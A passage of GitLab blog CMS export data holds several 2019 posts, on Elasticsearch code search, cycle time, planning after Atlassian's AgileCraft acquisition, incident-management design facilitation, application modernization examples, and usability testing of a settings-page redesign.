way to enabling global code search on GitLab.com, and how we're working on a way forward.","https://about.gitlab.com/blog/enabling-global-search-elasticsearch-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Lessons from our journey to enable global code search with Elasticsearch on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mario de la Ossa\"}],\n        \"datePublished\": \"2019-03-20\",\n      }",{"title":30285,"description":30281,"authors":30286,"heroImage":28542,"date":30288,"body":30289,"category":734,"tags":30290},"Lessons from our journey to enable global code search with Elasticsearch on GitLab.com",[30287],"Mario de la Ossa","2019-03-20","\nWe're [working hard to switch our search infrastructure on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/153) to\ntake advantage of our [Elasticsearch integration](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html), which should allow us to improve global search and enable global code search for our users.\n\nEnabling this integration on GitLab.com is important to us because it will unlock better search performance and allow us\nto improve the relevance of results for our GitLab.com users – something our self-managed users have been able to take advantage of for a few years now.\nWe've been working on this for a while, and have hit many dead ends and pitfalls which maybe you can learn from too.\n\n## Our plan\n\nWe have two very important things that need to happen: we must reduce the Elasticsearch index size,\nand we must improve the administration of the Elasticsearch integration.\n\n## 1. Reduce index size\n\nCurrently, the Elasticsearch index utilizes approximately 66 percent of the space the repos use.\nThis is our biggest blocker, as this is the bare minimum amount of space required – this number goes up when you consider the need for replicas.\n\nWe've attempted multiple things to get the index size down, but all of them resulted in minimal (or no) changes at all,\nso due to the complexity of implementing the changes we've decided to ignore them (at least for now).\n\n### Things we've tried\n\n#### Force merges\n\nWhen you delete a document from Elasticsearch, it doesn't actually free up space right away.\nInstead it does a soft delete, and Elasticsearch will release the space used in the future via an operation called a [merge](https://www.elastic.co/guide/en/elasticsearch/reference/current/index-modules-merge.html).\n\nIn [gitlab-org/gitlab-ee#7611](https://gitlab.com/gitlab-org/gitlab-ee/issues/7611) we investigated the possibility of forcing Elasticsearch\nto reclaim this space periodically via an operation called a [forcemerge](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-forcemerge.html).\nThis seemed like a very worthwhile thing to investigate as an Elasticsearch index could theoretically grow up to 50 percent more due to these soft deletions.\nIn the end though, we found out that a `forcemerge` is a blocking call, and causes extreme performance degradation while it runs –\nnot something you want in a production environment!\nSadly we were forced to abandon this, but we did learn a bit more about [how to tune Elasticsearch so merges are less painful, which we documented here](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html).\n\n#### NGram sizes\n\nIn order to allow users to search without using exact phrases (it would be annoying if a search for \"house\" didn't bring up \"houses\" for\nexample) we use what is called an [Edge NGram](https://www.elastic.co/guide/en/elasticsearch/reference/current/analysis-edgengram-tokenizer.html)\nfilter for blobs (code files) and SHA1 strings (commit IDs).\n\nWe have our Edge NGram filters set to create a maximum length of 40.\nRight off the bat we knew we could not lower the maximum size for our SHA1 filter, since we want our users to be able to find commits no matter how many characters of the ID they give us, and the maximum is 40.\n\nWe could, however, play with the Edge NGram filter we use to analyze code, so we tested a few different scenarios in [gitlab-org/gitlab-ee#5585](https://gitlab.com/gitlab-org/gitlab-ee/issues/5585).\nWe came up with conflicting results, but the savings were between 7-15 percent.\nNot bad! We still haven't changed the maximum length though, as we still need to confirm that searching is not impacted unduly with such a change.\n\n#### Separate indexes\n\nCurrently, our Elasticsearch integration lumps all document types into the same index.\nThis is because, in order to only return results to which a user has access, we must check the Project the object belongs to for the user's access level, which would be very expensive to do if we had to do it result per result after Elasticsearch returns the results of the query.\n\nThat said, there was a chance that having separate indexes could improve our space usage, and it would definitely improve the re-indexing\nexperience, so in [gitlab-org/gitlab-ee#3217](https://gitlab.com/gitlab-org/gitlab-ee/issues/3217) we took a stab at it.\nWe learned that having separate indexes does nothing for space usage, which we already suspected since Elasticsearch 6.0 shipped with great support for [sparse fields](https://www.elastic.co/blog/minimize-index-storage-size-elasticsearch-6-0).\n\nWe're still looking into having separate indexes, as in testing we have discovered it [greatly improves indexing speed](https://gitlab.com/gitlab-org/gitlab-ee/issues/3217#note_130304358)\nand should also improve the experience of having to re-index certain models.\n\n## 2. Improve administration capabilities for Elasticsearch\n\nRight now, all administration related to Elasticsearch must be done on the Elasticsearch cluster directly.\nWe also currently require the Elasticsearch integration to be an all-or-nothing deal: you must enable it for all projects, or none of them.\nTo make matters worse, when we make a change to the index schema, we require a full re-index of the entire repo right away in order for the update to work.\nWe need to fix all these things and make Elasticsearch easier to administer from within GitLab if we want to have a fighting chance at\nenabling Elasticsearch support on GitLab.com.\n\nSome concrete things we're working on:\n\n### Better cluster visibility\n\nIn order to help the administration of Elasticsearch, we must enable better controls for it from within GitLab.\nIssues [gitlab-org/gitlab-ee#3072](https://gitlab.com/gitlab-org/gitlab-ee/issues/3072) and\n[gitlab-org/gitlab-ee#2973](https://gitlab.com/gitlab-org/gitlab-ee/issues/2973) aim to provide a simple, but functional, admin interface\nfor Elasticsearch within GitLab.\n\n### Graceful recovery\n\nCurrently, if some data fails to index, whether due to a Sidekiq outage or any other reason, the only solution is to\nre-index the full Elasticsearch cluster, which is painful! In [gitlab-org/gitlab-ee#5299](https://gitlab.com/gitlab-org/gitlab-ee/issues/5299)\nwe will be looking into ways to improve this.\n\n### Selective/progressive indexing\n\nIn [gitlab-org/gitlab-ee#3492](https://gitlab.com/gitlab-org/gitlab-ee/issues/3492) we will be taking a look at enabling\nElasticsearch on a project-by-project basis.\n\n### Allow disabling of code indexing\n\nIn [gitlab-org/gitlab-ee#7870](https://gitlab.com/gitlab-org/gitlab-ee/issues/7870) we're investigating making\ncode indexing optional. What this would mean is that global code search would not be available, but searching within a\nproject would work as it currently does, backed by direct Gitaly searches. This is attractive to us as it would bring\nsearch improvements to Projects, Groups, Issues, and Merge Requests. This will also be a very useful feature for self-managed\ninstances that want to have better search support for Issues/MRs/etc. but don't really need global code search. Indexing\nthe repos to enable global code search takes an incredible amount of time, so offering the choice of disabling it gives our\nself-managed users more choice.\n\n### Shard Elasticsearch per group\n\nIn [gitlab-org/gitlab-ee#10519](https://gitlab.com/gitlab-org/gitlab-ee/issues/10519) we're considering having separate Elasticsearch\nservers per group, similar to how Gitaly works, but on a group level instead of project level. Elasticsearch servers can become very large,\nreducing performance and making them less maintainable. By having a separate server per group we would also gain resiliency in case one\ncluster goes down, as only the group related to that cluster would be affected.\n\nWe're still investigating this approach as there are some concerns about how search would work if we had separate Elasticsearch servers per group.\n\n## The future\n\nWe haven't given up yet! We have high hopes that we'll find ways to lower usage enough to make better search available to all our users.\n\nMeanwhile, we're switching all our engineering time from lowering index usage to improving administration capabilities, as we feel that\nenabling things like selective indexing of projects will allow us to improve our Elasticsearch integration with more confidence, as we will\nbe dogfooding our changes in production.\n\nIf you'd like to follow along with us, feel free to check out the following epics: [gitlab-org&153](https://gitlab.com/groups/gitlab-org/-/epics/153),\n[gitlab-org&429](https://gitlab.com/groups/gitlab-org/-/epics/429), and [gitlab-org&428](https://gitlab.com/groups/gitlab-org/-/epics/428).\nIf you have any concerns, comments, etc. we'll be glad to hear them. Remember, everyone can contribute!\n\nPhoto by [Benjamin Elliott](https://unsplash.com/photos/vc9u77c0LO4) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[754,232,676],{"slug":30292,"featured":6,"template":678},"enabling-global-search-elasticsearch-gitlab-com","content:en-us:blog:enabling-global-search-elasticsearch-gitlab-com.yml","Enabling Global Search Elasticsearch Gitlab Com","en-us/blog/enabling-global-search-elasticsearch-gitlab-com.yml","en-us/blog/enabling-global-search-elasticsearch-gitlab-com",{"_path":30298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30299,"content":30304,"config":30309,"_id":30311,"_type":16,"title":30312,"_source":17,"_file":30313,"_stem":30314,"_extension":20},"/en-us/blog/reduce-cycle-time-digital-transformation",{"title":30300,"description":30301,"ogTitle":30300,"ogDescription":30301,"noIndex":6,"ogImage":29685,"ogUrl":30302,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30302,"schema":30303},"How to reduce cycle time when faced with the digital transformation","With every industry facing change at an accelerated pace, how do you quickly deliver value to customers?","https://about.gitlab.com/blog/reduce-cycle-time-digital-transformation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to reduce cycle time when faced with the digital transformation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jeremiah\"}],\n        \"datePublished\": \"2019-03-19\",\n      }",{"title":30300,"description":30301,"authors":30305,"heroImage":29685,"date":30306,"body":30307,"category":8943,"tags":30308},[29354],"2019-03-19","\n\nOver the past several years, the “hot topic” in the tech world has been digital\ntransformation, the act of accelerating software innovation to deliver value to\ncustomers at high speed. Technology and innovation create disruptions across every\nindustry – from retail to financial services – meaning everyone faces change at\na faster pace. [A recent study by the\nWorld Economic Forum](http://reports.weforum.org/digital-transformation/) found\nthat “digital transformation” impacts almost every sector and offers critical\nexamples of how mobile devices, internet of things, machine learning, and big\ndata collectively reshape our future. If you're an IT leader, you may ask yourself,\n“What is fast and how does my team go faster?”\n\n## What _is_ fast?\n\nThe first step in preparing for the digital transformation is to look at how you\nmeasure speed: cycle time.\n\niSixSigma has a great\n[definition of cycle time](https://www.isixsigma.com/dictionary/cycle-time):\n“The total time from the beginning to the end of your process, as defined by you\nand your customer. Cycle time includes process time, during which a unit is acted\nupon to bring it closer to an output, and delay time, during which a unit of work\nis spent waiting to take the next action.” In a nutshell, cycle time is the total\nelapsed time to move a unit of work from the beginning to the end of a physical process.\n\n>In a nutshell, cycle time is the total\nelapsed time to move a unit of work from the beginning to the end of a physical process.\n\nIt’s important to note that cycle time is not the same as\n[lead time](https://www.linkedin.com/pulse/what-lead-time-why-important-how-do-you-reduce-roland-lester/).\nCycle time tells you how efficient your development and delivery processes are,\nand lead time tells you how long customers wait for a new feature. If you have a\nlot of ideas in your backlog, you could have a short cycle time, but a long lead\ntime due to the backlog. However, if you can improve your DevOps lifecycle to\nachieve a fast cycle time, you can then rapidly respond to new business priorities.\n\n## How does your team go faster?\n\nSo, now you know how to measure speed, how do you reduce your cycle time, let\nalone your lead time?\n\n### Take stock first\n\nIt starts with understanding where your current delivery process has problems –\nwhere you’re creating\n[bottlenecks](https://about.gitlab.com/solutions/remove-bottlenecks/index.html),\nrework, or merely waiting for someone to do something. The objective of\n[value stream management](/solutions/value-stream-management/) is to define,\nmeasure, and improve the flow of value to your customers. In the case of IT and\napplication delivery, value stream management starts with your backlog of feature\nrequests and ends with the delivery of the features to your users.\n\n### Here’s a recipe to reduce cycle time:\n\n1. Measure your cycle time and lead time (cycle time is your process and lead time is what customers see).\n1. Identify the bottlenecks in your value stream (those things that stretch your cycle time).\n1. Improve your processes, automate, and streamline your value stream.\n1. Repeat step 1.\n\nIf you’re concerned about how the digital transformation will impact your business, I\nhighly recommend the\n[Digital Transformation Initiative Executive Summary](http://reports.weforum.org/digital-transformation/wp-content/blogs.dir/94/mp/files/pages/files/dti-executive-summary-20180510.pdf),\na fantastic report that’ll provide you with a comprehensive understanding of how\nit will create business value. As you improve your cycle time, you’ll be able to\nlower your lead time, because your delivery processes will be faster and more\nefficient. The key is to measure, understand, and improve your process.\n\nAre you ready to tackle the digital transformation? [Just commit.](/blog/strategies-to-reduce-cycle-times/)\n",[1444,4103],{"slug":30310,"featured":6,"template":678},"reduce-cycle-time-digital-transformation","content:en-us:blog:reduce-cycle-time-digital-transformation.yml","Reduce Cycle Time Digital Transformation","en-us/blog/reduce-cycle-time-digital-transformation.yml","en-us/blog/reduce-cycle-time-digital-transformation",{"_path":30316,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30317,"content":30323,"config":30328,"_id":30330,"_type":16,"title":30331,"_source":17,"_file":30332,"_stem":30333,"_extension":20},"/en-us/blog/atlassian-acquires-agilecraft",{"title":30318,"description":30319,"ogTitle":30318,"ogDescription":30319,"noIndex":6,"ogImage":30320,"ogUrl":30321,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30321,"schema":30322},"What’s your plan?"," GitLab integrates planning every step of the way","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680500/Blog/Hero%20Images/planpost.jpg","https://about.gitlab.com/blog/atlassian-acquires-agilecraft","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What’s your plan?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-03-18\",\n      }",{"title":30318,"description":30319,"authors":30324,"heroImage":30320,"date":30325,"body":30326,"category":299,"tags":30327},[711],"2019-03-18","\n\nToday’s acquisition of AgileCraft by Atlassian brings up an interesting discussion: \nWhat’s the role of planning in today’s fast-moving software development lifecycle?\n\nIn DevOps, planning can’t be an after-thought or something only thought about at \nthe beginning. [Planning needs to be agile](https://about.gitlab.com/solutions/agile-delivery/), \nand integrated into what’s happening every day in the modern software shop. \nLike a quote from the Beatles song, “Life is what happens to you while you’re busy making other plans.”\n\nGitLab has democratized planning, making it an integral part of the software \ndevelopment workflow, with out-of-the-box project management, kanban boards, \nepics, time-tracking, and agile portfolio management - with \n[much more to come](https://about.gitlab.com/direction/plan/). \nMore importantly, though, GitLab’s planning features are intimately linked to \nall of the other [stages of software development](https://about.gitlab.com/stages-devops-lifecycle/). \nDevelopers, architects, and product managers can plan and re-plan together, \ncollaboratively and concurrently, with full visibility to the entire cycle.\n\nDon’t get us wrong - AgileCraft is a deep, well-thought out enterprise planning \ntool. But with GitLab, in addition to planning, you get an entire software development lifecycle tool out of the box.\n\n",[1899,736,1444],{"slug":30329,"featured":6,"template":678},"atlassian-acquires-agilecraft","content:en-us:blog:atlassian-acquires-agilecraft.yml","Atlassian Acquires Agilecraft","en-us/blog/atlassian-acquires-agilecraft.yml","en-us/blog/atlassian-acquires-agilecraft",{"_path":30335,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30336,"content":30342,"config":30347,"_id":30349,"_type":16,"title":30350,"_source":17,"_file":30351,"_stem":30352,"_extension":20},"/en-us/blog/incident-management-design-facilitation",{"title":30337,"description":30338,"ogTitle":30337,"ogDescription":30338,"noIndex":6,"ogImage":30339,"ogUrl":30340,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30340,"schema":30341},"How we used design facilitation to understand incident management","The group responsible for the Monitor stage at GitLab recently got together to decide on new product features with a facilitated design session.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678649/Blog/Hero%20Images/incident_management-blog-image.jpg","https://about.gitlab.com/blog/incident-management-design-facilitation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we used design facilitation to understand incident management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amelia Bauerly\"}],\n        \"datePublished\": \"2019-03-15\",\n      }",{"title":30337,"description":30338,"authors":30343,"heroImage":30339,"date":30344,"body":30345,"category":6634,"tags":30346},[15725],"2019-03-15","\nBefore starting to design a new product feature, it’s useful to get everyone on the same page by asking a few important questions: What is the problem we are trying to solve?\nWho are we solving this problem for?\nWhat are the steps we should take in trying to solve this problem?\n\nAs we work remotely, collaborating on these questions synchronously isn’t generally an option.\n\nRecently, the [Monitor group](/handbook/engineering/development/ops/monitor/) was given the opportunity to gather in Berlin for a Fast Boot.\nWe took advantage of everyone being in the same place and time zone to host a [facilitated design session](https://gitlab.com/gitlab-org/gitlab-ce/issues/55663) on incident management, where we could answer these questions together.\n\n## How the facilitated design session works\n\nThe session involved walking the group through three exercises, each focusing on one of the core questions we needed to solve.\n\n### We tackled problem definition through running a boundary critique exercise\n\nUsing the [1-2-4-All](http://www.liberatingstructures.com/1-1-2-4-all/) technique, we came up with a list of things incident management is and is not.\nSince we had engineers, designers, and product managers all working together, we were able to benefit from diverse perspectives and experience levels.\nWe finished the exercise by agreeing on a definition of the space we wanted to work on together.\n\n### Next, we did an exercise to build empathy with our users\n\nWe took our four [ops personas](/handbook/product/personas/), broke into groups, and compiled [empathy map canvases](https://gamestorming.com/wp-content/uploads/2017/07/Empathy-Map-Canvas-006.pdf) for each.\nWe then took our deepened understanding of our assigned users and applied it to an imagined incident.\nWe shared our users’ pain points, concerns, and goals with the group.\n\n### Finally, brainstorming product features\n\nHaving established a scope for our work and a sense of our users’ needs, our final exercise involved brainstorming product features that would fit the requirements we had established.\nWe finished the session with everyone dot-voting on features, which left us with a prioritized list of features to work on as we move forward with this project.\n\nThough working this way isn’t a part of our normal flow, the facilitation was a great chance for us all to engage with a product discovery process together.\nBy tackling these questions as a group, we could all come to alignment on what was needed going forward.\nParticipating in these early stages of planning also generates an extra level of commitment to seeing these features through the development process, since we had all agreed on the necessity for them.\n\nWe will continue to explore how to inject the energy and enthusiasm generated by this process into our normal, asynchronous workflow.\n",[2368,754,676],{"slug":30348,"featured":6,"template":678},"incident-management-design-facilitation","content:en-us:blog:incident-management-design-facilitation.yml","Incident Management Design Facilitation","en-us/blog/incident-management-design-facilitation.yml","en-us/blog/incident-management-design-facilitation",{"_path":30354,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30355,"content":30360,"config":30365,"_id":30367,"_type":16,"title":30368,"_source":17,"_file":30369,"_stem":30370,"_extension":20},"/en-us/blog/application-modernization-examples",{"title":30356,"description":30357,"ogTitle":30356,"ogDescription":30357,"noIndex":6,"ogImage":29685,"ogUrl":30358,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30358,"schema":30359},"Examples of legacy modernisation projects","Discover how four teams committed to the application modernization process.","https://about.gitlab.com/blog/application-modernization-examples","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Examples of legacy modernisation projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-03-14\",\n      }",{"title":30356,"description":30357,"authors":30361,"heroImage":29685,"date":30362,"body":30363,"category":734,"tags":30364},[18462],"2019-03-14","\n\nFine wine and cheese. Whiskey. Paul Rudd. There are a lot of things that get better with age – legacy systems are _not_ one of them.\n\n## The true cost of legacy systems\n\nOver time, the true cost of legacy systems is enormous: from additional resources needed to maintain them, to lost productivity, they can hinder investments in long-term growth. In highly regulated industries, they can even be a financial liability.\n[Health Insurance Portability and Accountability Act (HIPAA) violations in 2018 resulted in over $28 million in fines](https://compliancy-group.com/hipaa-fines-directory-year/), many of them due to data breaches.\nAs legacy systems grow older, it's [easy to miss critical security patches (if any are even available)](https://www.globalscape.com/blog/how-high-risk-legacy-systems-are-hurting-your-business), making your system more vulnerable to malicious actors ready to use old Java and SSL exploits to expose your network.\n\nEven if we can all agree that legacy system modernization is important, it still takes work.\n[Analysis paralysis is a real phenomenon in the digital transformation journey](/blog/beyond-application-modernization-trends/).\nRipping off the band-aid and committing to faster deployment feels overwhelming, and there are so many application modernization trends to consider. But not taking action puts a ceiling on growth.\n\n## Status quo \u003C Innovation\n\nMany large enterprises feel tied down to current practices because there just aren't enough resources left to innovate once legacy systems are maintained.\nFor example, [the greater part of the IT-related federal budget of the United States ($80 billion) goes to maintaining legacy systems.](https://www.spiria.com/en/blog/method-and-best-practices/cost-legacy-systems/)\nWhen large companies can only devote 20 percent of their budget to software modernization, things move even more slowly.\nObsolete systems create a vicious cycle where enterprises feel they have to choose between innovation or keeping things running.\n\nInstead of focusing on a full rip-and-replace of legacy systems, an application modernization strategy that identifies specific challenges reduces potential disruptions.\nMaking goals and achieving them one step at a time can make a big impact.\n\n## How to modernize applications\n\nThese examples of legacy application modernization show how four teams identified challenges, set manageable goals, and decided to [#JustCommit](https://twitter.com/search?q=just+commit) to development efficiency.\n\n### 1. Leveraging microservices\n\nWith a monolithic architecture, everything is developed, deployed, and scaled together.\nWith microservices, each component is broken out and deployed individually as services and the services communicate with each other via API calls.\n[Leveraging microservices allows teams to deploy faster and achieve scale, all at a lower cost](/topics/microservices/).\nAsk Media Group recently participated in a webcast where they discussed their transition from monoliths to microservices leveraging containers, Kubernetes, and AWS.\n\n[Watch the webcast](/webcast/cloud-native-transformation/)\n{: .alert .alert-gitlab-purple}\n\n### 2. Improving automation\n\nEquinix, a leading global data center company with over 180+ colocation facilities across five continents, wanted a solution that would help developers code better and faster, to bring customers new features quickly.\nWhile their old system was fine in the beginning, they needed a more robust solution that could meet their enterprise control and scaling needs. See how Equinix increased the agility of their developers, without sacrificing quality, through automation.\n\n{: .alert .alert-gitlab-purple}\n\n### 3. Simplifying the toolchain\n\nGoldman Sachs, one of the largest financial institutions in the world with over $1.5 trillion in assets, had some challenges in their technology division.\nAs a critical center of the financial provider's business, speed is essential, but a complex toolchain with too many parts was slowing them down.\nIn order to have faster deployment cycles and increase concurrent development, they knew they needed to simplify their toolchain. One cohesive environment helped them improve visibility and efficiency.\n\n[Read the case study](/customers/goldman-sachs/)\n{: .alert .alert-gitlab-purple}\n\n### 4. Reducing lifecycles\n\nChris Hill, Head of Systems Engineering for Infotainment at Jaguar Land Rover, shared his team's journey from feedback loops of 4-6 weeks to _just 30 minutes_ at the DevOps Enterprise Summit London in 2018.\nWho says you need to be stuck with a traditional release cadence?\n\n[Watch the presentation](/blog/chris-hill-devops-enterprise-summit-talk/)\n{: .alert .alert-gitlab-purple}\n\nAre you ready to tackle application modernization? [Just commit.](/blog/application-modernization-best-practices/)\n",[110,4103,3949],{"slug":30366,"featured":6,"template":678},"application-modernization-examples","content:en-us:blog:application-modernization-examples.yml","Application Modernization Examples","en-us/blog/application-modernization-examples.yml","en-us/blog/application-modernization-examples",{"_path":30372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30373,"content":30379,"config":30384,"_id":30386,"_type":16,"title":30387,"_source":17,"_file":30388,"_stem":30389,"_extension":20},"/en-us/blog/quantifying-ux-validating-the-redesign-of-gitlabs-settings-pages",{"title":30374,"description":30375,"ogTitle":30374,"ogDescription":30375,"noIndex":6,"ogImage":30376,"ogUrl":30377,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30377,"schema":30378},"Quantifying UX: How we validated the redesign of GitLab's settings pages","A GitLab senior UX designer shares how we determined whether a recent redesign improved the overall experience for users.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683361/Blog/Hero%20Images/user-testing-validating-redesign.jpg","https://about.gitlab.com/blog/quantifying-ux-validating-the-redesign-of-gitlabs-settings-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Quantifying UX: How we validated the redesign of GitLab's settings pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2019-03-13\",\n      }",{"title":30374,"description":30375,"authors":30380,"heroImage":30376,"date":30381,"body":30382,"category":299,"tags":30383},[18742],"2019-03-13","\nThere are three main settings pages in GitLab: group settings, project settings, and admin settings. Shortly after I joined GitLab, the group settings page was redesigned to match a recent change that was implemented for the project settings, to “tidy up” all content into expandable sections. The idea was well intended, because these settings pages can be extremely long, full of diverse content and forms, and they’re very hard to read. It’s also difficult to find information when everything is simply “out there.”\n\nThe group and project settings pages were both redesigned in a short amount of time. Both are critical to using GitLab, which means that many users engage with them. This is great, because when that’s the case, we get lots of feedback after introducing changes. Unfortunately, in this case, the feedback was negative. [Users began to tell us that it was even harder to find the setting](https://gitlab.com/gitlab-org/gitlab-ce/issues/41230) they needed after the change was introduced. Instead of scrolling through the page and scanning it for relevant content, they now had to expand the sections and look for it there. The labels of these sections weren’t descriptive, so they often had to resort to guessing.\n\n![GitLab's project settings page](https://about.gitlab.com/images/blogimages/validate-redesign/project-settings.jpg){: .large.center}\n\n## Improvements to the settings pages\n\nI came up with some somewhat basic changes that could lead to significant improvements. In the issue titled [Improve settings pages design by prioritizing content: Discovery](https://gitlab.com/gitlab-org/gitlab-ce/issues/47405) I suggested we:\n* Prioritize the content by following the 80/20 principle (what do most users look for on these pages?).\n* Improve the labels for the expandable sections by making them descriptive.\n* Make the titles clickable (instead of just having the “expand/collapse” button) and\n* Shift content around if needed.\n\nThe 80/20 principle, also known as the [Pareto principle](https://en.wikipedia.org/wiki/Pareto_principle), suggests that 80 percent of effects come from 20 percent of causes. Further research suggests that this principle can be commonly observed in pretty much anything. So, in our case, applying the principle means: Can we prioritize the 20 percent of content that 80 percent of users look for?\n\nThis meant that we needed to rethink the information architecture (IA) of the page. If we introduce a section with prioritized content, as suggested in the improvements above and illustrated below, could we take some of the content that is commonly searched for and move it into that section?\n\n![Project settings page redesign concept](https://about.gitlab.com/images/blogimages/validate-redesign/redesign-concept.jpg){: .large.center}\n\nSoon after the discovery issue in milestone 11.2, I came up with a redesign that would accomplish all of the above. We started with the Group settings because it’s the simplest settings page, with the least amount of content. It took us longer than originally anticipated to implement the changes, and we shipped in 11.5, a little under three months later.\n\n![Redesigned project settings page](https://about.gitlab.com/images/blogimages/validate-redesign/group-settings-redesigned.jpg){: .large.center}\n\n## Some thoughts on designers conducting their own UX research\n\nIdeally, I would have done some UX research/validation before implementation to see if the new designs are actually better. But in this case, the changes were mostly general best practices in terms of UI design and information architecture, so I was confident that they were all going to result in improvements.\n\nBut I wanted to quantify the results and confirm whether they were actually better, and if so, by how much? Confidence in design is good (and even required sometimes), but we should never replace measurement of results with it. Besides, the group settings redesign was a pilot: if all turned out well, we would redesign project settings and admin settings in a similar fashion, so I wanted to be 100 percent sure and ran the test.\n\nIn addition, the UX department at GitLab has been striving to get into a position where designers can conduct their own UX research. We want designers to conduct research in a quick way that allows them to get the results they need to move forward. This can be done with some guidance from the UX research department, but it is not necessary for them to always be 100 percent involved.\n\n### Why should designers do their own research?\n\nIn this particular example, the validation was done after the implementation of the redesign, but ideally, this type of research would be done before a single line of code was written. Even sooner, it can be done on the same day that the designer mocked up the UI solution. The greatest benefit of doing this is that it eliminates waiting and speeds up the cycle of feedback. A lot. Instead of waiting for weeks for something to get implemented, a designer creates a test by themselves, coordinates with UX research, get participants to solve the test, and analyzes the results – all in the same day.\n\n## How do we validate UI design and IA changes?\n\nIn this case, the redesign introduced mostly UI and information architecture (IA) changes. How do you test these kind of changes, especially when you work remotely? The answer is surprisingly simple: Create two “click tests” on [Usability Hub](https://usabilityhub.com/): One for the design of the page as it is now (original) and one for the redesign. Most users complained that they didn’t know which section contained the item they were looking for. This was the most important problem that needed to be solved, so I came up with a simple test: show the participants the design (either original or the redesign) and ask them questions which they answered by clicking on a design. For example, they would see the following (the redesign):\n\n![Redesign of settings pages](https://about.gitlab.com/images/blogimages/validate-redesign/test-redesign.jpg){: .medium.center}\n\nAnd they would answer the following questions:\n\n* Where do you think you can change who can see the details of this group?\n* Where do you think you can add an extra layer of security for signing in?\n* Where do you think you can change the URL of this group?\n\nEach of these three questions were followed up by two additional ones:\n\n* How easy/difficult was it to find?\n* How confident are you that the setting is in the section you selected?\n\n![Test redesign follow up](https://about.gitlab.com/images/blogimages/validate-redesign/test-redesign-followup.jpg){: .medium.center}\n\nThe participants responded with a rating of 1 to 5 for each of the follow-up questions. With the main questions, we measured the time required to answer (click) and whether the answer was correct or not. The follow-up questions helped us measure perceived difficulty and confidence.\n\n### Assumptions to validate\n\nWe wanted to validate the following assumptions:\n\n| Assumption | Validated/invalidated |\n| ------ | ------ |\n| Users will need less time to find the settings | ✅ / ❌   |\n| A greater number of users will click on the correct areas | ✅ / ❌  |\n| Users will be more confident in their section choices (new compared to old) | ✅ / ❌  |\n| The perceived difficulty of the tasks will improve | ✅ / ❌ |\n\nWe decided that if three out of four of those assumptions were validated we would consider the redesign a success. You can preview the tests at the following links (feel free to complete them, but they’re not collecting results anymore):\n* [Original](https://app.usabilityhub.com/preview/87c510cf7078)\n* [Redesign](https://app.usabilityhub.com/preview/fc581c732b7e)\n\n## Results\n\nWe shared our tests on Twitter and with [GitLab First Look](/community/gitlab-first-look/), our UX Research mailing list. We received more than 600 responses, and the results were evenly distributed between the original versus the redesign. The findings weren’t really surprising, but they validated our redesigns. We knew our work improved the experience of our users and we could now apply a similar approach to the other settings pages.\n\n| Version | Task | Time required | Correct answers | Confidence (mean)* | Perceived difficulty (mean)* |\n| ------- | ---- | --------------| ----------------|-------------------|-----------------------------|\n| Original| 1    | 19.4s         | 77%             | 3.6               | 2.1                         |\n| Redesign| 1    | 25.9s         | 78%             | 4.1               | 1.9                         |\n| Original| 2    | 14.6s         | 34%             | 3.2               | 2.4                         |\n| Redesign| 2    | 8.7s          | 97%             | 4.1               | 1.9                         |\n| Original| 3    | 6.4s          | 49%             | 3.9               | 1.9                         |\n| Redesign| 3    | 16.1s         | 92%             | 3.7               | 2.5                         |\n\n*Confidence: higher is better*\n\n*Perceived difficulty: lower is better*\n\n*I only counted the correct answers for confidence and perceived difficulty.\n\nOriginal test: 389 participants — [Results](https://app.usabilityhub.com/tests/87c510cf7078/results/e20614040355) \u003Cbr>\nRedesign test: 266 participants — [Results](https://app.usabilityhub.com/tests/fc581c732b7e/results/b016819adc5a)\n\n![Results heatmap](https://about.gitlab.com/images/blogimages/validate-redesign/results-heatmap.jpg){: .shadow.medium.center}\n\n*\u003Csmall>The heatmap feature in Usability Hub allowed us to see that the majority of users were clicking in the correct area, so they were finding what they were looking for.\u003C/small>*\n\nBy running such tests, we now have data that can help us quantify the user’s experience – in other words, we can measure the design’s impact. It took some users longer to find what they were looking for in the redesign, but their confidence in the correctness of their answer improved and the tasks were also perceived as less difficult.\n\nMost encouraging was the huge difference in how many respondents answered correctly compared to the original. We saw an increase from 34 to 97 percent in the second question and 49 to 92 percent in the third question, which proved that the redesign solves the problem that most users complained about: finding things.\n\nIf we look back to our assumptions, we validated three out of four, fulfilling the success criteria that we established at the start. The only assumption that wasn’t validated was that \"Users will need less time to find the settings.\" It took the participants longer to answer two out of the three questions.\n\n| Assumption | Validated/invalidated |\n| ------ | ------ |\n| Users will need less time to find the settings | 